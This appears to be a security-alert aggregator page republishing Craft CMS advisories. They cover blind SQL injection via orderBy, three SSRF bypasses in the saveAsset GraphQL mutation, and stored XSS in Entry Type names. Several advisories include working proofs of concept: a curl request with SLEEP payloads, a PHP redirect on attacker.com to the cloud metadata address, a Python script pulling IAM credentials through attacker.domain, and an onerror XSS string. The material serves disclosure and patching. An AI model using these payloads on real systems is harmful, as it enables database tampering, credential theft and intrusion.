Where
-Infinity
0
Severity
8.8
EPSS
0.01%
SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).

[!NOTE] The ORDER BY clause executes per row. SLEEP(1) on 10 rows = 10s delay.

--- PoC Required Permissions

- Access to the Control Panel

Steps to reproduce 1. Log in to the control panel 2. Navigate to any element index (e.g., Users /admin/users, Entries, Assets, etc.) 3. Intercept the POST request to /index.php?p=admin/actions/element-indexes/get-elements 4. Modify the JSON body to the following: json {"context":"index","elementType":"craft\\elements\\User","source":"","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}} 5. Send the request 6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed): bash curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'

Impact

With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character. - Modify or destroy data (drop tables, update records, alter schema).

Root Cause The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filtervar(..., FILTERVALIDATEIP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

1 / 2
Source: MITRE
First published (updated )
Severity
6.9
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

--- Proof of Concept 1. Host a redirect script on your server (e.g. redirect.php): php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> 2. Send the following GraphQL mutation: graphql mutation { saveimagesAsset(file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } 3. The application validates attacker.com (passes) 4. Guzzle follows the redirect to 169.254.169.254 5. Cloud metadata is saved as an asset

--- Mitigation - Disable redirects.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

- The saveimagesAsset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.) - Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP) - Attacker invokes saveimagesAsset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename "foo.txt" - Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt - Normal checks to verify that image is valid are bypassed because of .txt extension - Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address

Details

handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the saveimagesAsset mutation.

It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):

} elseif (!empty($fileInformation['url'])) { $url = $fileInformation['url'];

// make sure the hostname is alphanumeric and not an IP address $hostname = parseurl($url, PHPURLHOST); if ( !filtervar($hostname, FILTERVALIDATEDOMAIN, FILTERFLAGHOSTNAME) || filtervar($hostname, FILTERVALIDATEIP) ) { throw new UserError("$url contains an invalid hostname."); }

if (empty($fileInformation['filename'])) { $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFOBASENAME)); } else { $filename = AssetsHelper::prepareAssetName($fileInformation['filename']); }

$extension = strtolower(pathinfo($filename, PATHINFOEXTENSION)); if (isarray($allowedExtensions) && !inarray($extension, $allowedExtensions, true)) { throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension.")); }

The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.

An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.

- First, the attacker must register a domain -- e.g. attacker.domain. - Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254) - Next, they make a request to saveimagesAsset with url set to http://attacker.domain/sensitive/path with filename set to "something.txt" - Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information

PoC

Preconditions

- Graphql access must be enabled - Attacker must have access to a graphql token - Token must be configured to have access to saveimagesAsset mutation - Attacker must have configured a domain, "attacker.domain" pointing to the sensitive internal IP address they'd like to access - .txt must be an allowed extension for uploads via saveimagesAsset (as it is by default)

Code

import requests

Replace GRAPHQLENDPOINT and BEARERTOKEN per target. GRAPHQLENDPOINT = 'http://localhost:8080/actions/graphql/api' TOKEN = '<TOKEN HERE>'

mutation = ''' mutation SaveAsset($file: FileInput!, $title: String, $focalPoint: String) { saveimagesAsset(file: $file, title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } } '''

variables = { 'file': { 'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials", 'filename': 'foo.txt'

}, "title": "my photo", "focalPoint": "0.5;0.5"

}

resp = requests.post(GRAPHQLENDPOINT, json={'query': mutation, 'variables': variables}, headers={'Authorization': f'Bearer {TOKEN}'}) print(resp.statuscode, resp.text)

If attack is successful, response to running this script will be something like:

200 {"data":{"saveimagesAsset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}

Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt

Impact

Impacted users must:

- Have graphql enabled - Have a graphql token created with permissions to use saveimagesAsset - Have graphql token stolen by attacker or abused by malicious insider

Impact is heightened if:

- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.

Ultimate result is:

Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
EPSS
0.01%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Stored XSS via Entry Type names. The name is not sanitized when displayed in the Entry Types list.

--- Proof of Concept

Required Permissions (Attacker)

- Admin access (only admins have access to the settings page) - allowAdminChanges is enabled in production, which is against our security recommendations.

Steps to Reproduce 1. Log in as an attacker. 2. Go to Settings -> Entry Types (/admin/settings/entry-types). 3. Create a new Entry Type. 4. Set Name to: html <img src=x onerror="alert('XSS-EntryTypes')" hidden> 5. Save the Entry Type, and you’ll be redirected back to the entry types table automatically. 6. Notice the alert fires when the entry types table renders.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203